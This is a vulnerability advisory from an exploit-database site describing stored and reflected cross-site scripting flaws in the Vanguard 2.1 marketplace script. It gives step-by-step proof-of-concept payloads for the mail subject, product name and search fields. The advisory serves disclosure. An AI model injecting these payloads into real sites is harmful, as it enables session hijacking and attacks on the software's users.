# Vanguard 2.1 Cross Site Scripting

**2020.04.07**

Credit: **thelastvvv (https://cxsecurity.com/author/thelastvvv/1/)**

Risk: **Low** | Local: **No** | Remote: **Yes**

CVE: **N/A** | CWE: **CWE-79 (https://cxsecurity.com/cwe/CWE-79)**

```
# Exploit Title: Vanguard 2.1  Multi XSS Vunlerabilities
# Google Dork:N/A
# Date: 2020-04-04
# Exploit Author: @ThelastVvV
# Vendor Homepage: https://codecanyon.net/item/vanguard-marketplace-digital-products-php/20287975
# Version: 2.1
# Tested on: 5.4.0-4parrot1-amd64

---------------------------------------------------------



Summary:

Persistent Cross-site Scripting in message&product title-tags also there's Non-Persistent Cross-site scripting in product search box.

PoC 1:

A- Message

1- create an account on vanguard marketplace
2- go to send mail
https://example/mails/new

In the "Object" field type my my preferred payload : "><img src=x onerror=prompt(document.domain);>

3-then choose the target (username ) then hit submit
4- now go to the mailbox and click on the msg
https://example/mails/read/1

et voila xssed!

PoC 2:

B:Product

1-go to add new product
2- In the "Product Name" field type my my preferred payload : "><img src=x onerror=prompt(document.domain);>
2- now view the product page
https://example/p/(id)
3 -click on download in the product page
https://example/download/(id)

et voila xssed!

PoC 3:

In Products Search box use payload:
"><img src=x onerror=prompt(document.domain);>


Impact:
XSS can lead to user's Session Hijacking, and if used in conjunction with a social engineering attack it can also lead to disclosure of sensitive data, CSRF attacks and other critical  attacks on all users of the product .
```

```
Screentshoots:

A -https://imgur.com/jkCfaEh
B-https://imgur.com/3GuKGJr
```

**See this note in RAW Version** (https://cxsecurity.com/ascii/WLB-2020040032)

T\

Lul

Vote for this issue: 👍 0 👎 0

50% 50%

## Comment it here.

**Nick (*)**

Nick

**Email (*)**

Email

**Video**

Link to Youtube

**Text (*)**